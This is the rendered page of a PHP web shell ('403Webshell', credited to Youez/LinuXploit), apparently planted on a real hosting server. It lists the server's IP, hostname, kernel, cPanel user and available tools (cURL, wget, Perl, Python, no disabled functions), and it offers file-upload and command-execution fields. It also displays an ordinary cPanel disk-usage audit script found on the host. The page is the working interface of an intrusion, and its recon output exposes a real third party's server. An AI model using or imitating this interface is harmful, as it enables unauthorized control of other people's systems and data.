403Webshell
Server IP : 69.72.244.102  /  Your IP : 216.73.216.164
Web Server : LiteSpeed
System : Linux s3434.fra1.stableserver.net 4.18.0-513.24.1.lve.2.el8.x86_64 #1 SMP Fri May 24 12:42:50 UTC 2024 x86_64
User : konzalta ( 1271)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /opt/sp_scripts/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/sp_scripts/accounts_audit.sh
#!/bin/bash
# TG 2025
RESELLERS=$(cat /var/cpanel/resellers | cut -f 1 -d :)
SERVER=$(hostname)

echo "=== STANDARD USERS ==="
CPUSERS=$(grep OWNER=root /var/cpanel/users/* | cut -f 1 -d : | xargs -n 1 basename)
for CPUSER in $CPUSERS; do
        if grep -q -w $CPUSER /etc/passwd; then
                USED=$(whmapi1 --output=jsonpretty accountsummary user=$CPUSER | jq -r '.data.acct[].diskused' | sed 's/M//')
                USED_INT=${USED%.*}
                ACCOUNT_IP=$(grep ^IP /var/cpanel/users/$CPUSER  | cut -f 2 -d =)
                if [ "$USED_INT" -gt "50000" ]; then
                        echo "$SERVER;$ACCOUNT_IP;$CPUSER;$USED_INT"
                fi
        fi
done

echo "=== RESELLERS ==="
for RESELLER in $RESELLERS; do
        USED=$(whmapi1 --output=jsonpretty resellerstats user=$RESELLER | jq -r .data.reseller.diskused | sed 's/M//')
        USED_INT=${USED%.*}
        ACCOUNT_IP=$(grep ^IP /var/cpanel/users/$RESELLER  | cut -f 2 -d =)
        if [ "$USED_INT" -gt "150000" ]; then
                echo "$SERVER;$ACCOUNT_IP;$RESELLER;$USED_INT"
        fi
done

Youez - 2016 - github.com/yon3zu
LinuXploit